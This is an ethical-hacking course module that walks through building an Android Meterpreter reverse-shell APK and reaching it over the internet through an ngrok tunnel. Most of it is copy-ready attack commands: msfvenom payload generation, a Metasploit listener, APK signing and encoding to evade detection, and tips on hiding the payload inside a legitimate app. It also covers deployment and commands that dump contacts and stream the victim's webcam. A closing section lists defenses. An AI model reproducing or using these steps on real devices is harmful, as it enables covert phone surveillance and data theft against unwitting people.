Cyber Services / All lessons / CEH — Ethical Hacking / Android Payload Generation and Handling with ngrok

Android Payload Generation and Handling with ngrok

Module 84 of 130 · 4 min read · Free to read

MODULES ↓ Command blocks have a COPY button

Remote Access via Ngrok, Obfuscation, and Signing Techniques

CRITICAL ETHICAL DISCLAIMER

This guide is strictly for educational purposes within isolated, controlled laboratory environments. Using these techniques on devices without explicit, written permission is a criminal offense under UAE Cybercrime Law and international statutes. The author assumes no liability for misuse.

Part 1: Global Remote Access with Ngrok

To monitor and control an Android device from anywhere in the world (not just your local Wi-Fi), you need a public IP address. Ngrok tunnels your local Kali listener to the internet securely.

Why Ngrok?

Your home/lab IP is likely private (behind a router). Ngrok creates a secure TCP tunnel that bypasses firewalls and NAT, giving you a public address (0.tcp.ngrok.io) that your target device can connect to from mobile data or any network.

Step 1: Configure the Tunnel

  1. Download Ngrok and authenticate with your token.
  2. Start a TCP tunnel on port 4444 (standard Metasploit port).
./ngrok tcp 4444
Output Analysis

Ngrok will output a forwarding address like: tcp://0.tcp.ngrok.io:12345

  • LHOST: 0.tcp.ngrok.io (This is your public address)
  • LPORT: 12345 (Use this random port, NOT 4444)

Keep this terminal window open. If you close it, the connection dies.

Part 2: Generating the Payload

We use msfvenom to create the APK. To increase the chance of evasion, we will use a specific payload format and prepare it for signing.

Step 2: The Msfvenom Command

Replace the LHOST and LPORT with the values provided by Ngrok.

msfvenom -p android/meterpreter/reverse_tcp \
LHOST=0.tcp.ngrok.io \
LPORT=12345 \
--platform android \
-f apk \
-o payload_raw.apk
Critical: Signing Required

The APK generated above is unsigned. Android will not install it. You must sign it to make it installable. See Part 4.

Part 3: The Multi-Handler

Your Kali machine listens on the local port (4444). Ngrok forwards traffic from the public port (12345) to your local port (4444).

Step 3: Metasploit Configuration

msfconsole -q

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

Part 4: Evasion & Signing (Making it Work)

"Undetectable" is a moving target. However, proper signing and basic obfuscation are required to bypass Android's installation checks and basic static analysis.

The Reality of Detection

Google Play Protect and modern AVs use behavioral analysis. Even if you hide the file signature, the behavior (opening a reverse shell) is suspicious. These techniques are for educational understanding of the cat-and-mouse game.

Technique 1: Signing the APK (Mandatory)

You must sign the APK to install it. We use apksigner from the Android SDK build-tools.

# 1. Generate a keystore (do this once)
keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-alias

# 2. Sign the APK
apksigner sign --ks my-release-key.jks --out payload_signed.apk payload_raw.apk

# 3. Verify the signature
apksigner verify payload_signed.apk

Technique 2: Basic Obfuscation (Encoding)

While encoders like shikata_ga_nai are often detected, they change the file hash. For Android, we often rely on ProGuard (if building from source) or wrapping the payload. In msfvenom, we can attempt encoding, though efficacy is low against modern AV.

msfvenom -p android/meterpreter/reverse_tcp \
LHOST=0.tcp.ngrok.io LPORT=12345 \
-e x86/shikata_ga_nai \
-i 5 \
-f apk > encoded_raw.apk
# Remember: You MUST sign 'encoded_raw.apk' again after encoding!

Technique 3: Binding (Trojanizing)

Injecting the payload into a legitimate app (e.g., a calculator). This requires decompiling the legitimate app, injecting the payload smali code, recompiling, and signing. This is complex but more effective than raw payloads.

Tools for Binding

Tools like Apktool and Uber-apk-signer are used for this process. Metasploit's -x flag is deprecated/unreliable for modern Android versions. Manual injection is the professional standard.

Part 5: Deployment & Session

  1. Transfer payload_signed.apk to the target device.
  2. The user must enable "Install from Unknown Sources".
  3. Once the app is opened, the payload executes.
  4. Check your Ngrok terminal: You should see a connection.
  5. Check your Metasploit terminal: You should have a Meterpreter session.
meterpreter > sysinfo
meterpreter > dump_contacts
meterpreter > webcam_stream

Part 6: Defensive Countermeasures

As an ethical hacker, you must know how to defend against these attacks.

Mitigation Strategies
  • Disable "Install Unknown Apps": Prevent installation of APKs from outside the Play Store.
  • Google Play Protect: Ensure this is enabled to scan apps before and after installation.
  • Permission Auditing: Be skeptical if a simple game requests SMS or Contact permissions.
  • Network Monitoring: Use firewalls to block outbound connections to unknown IPs/TCP tunnels (like ngrok.io).
Modules (130) ← CEH — Ethical Hacking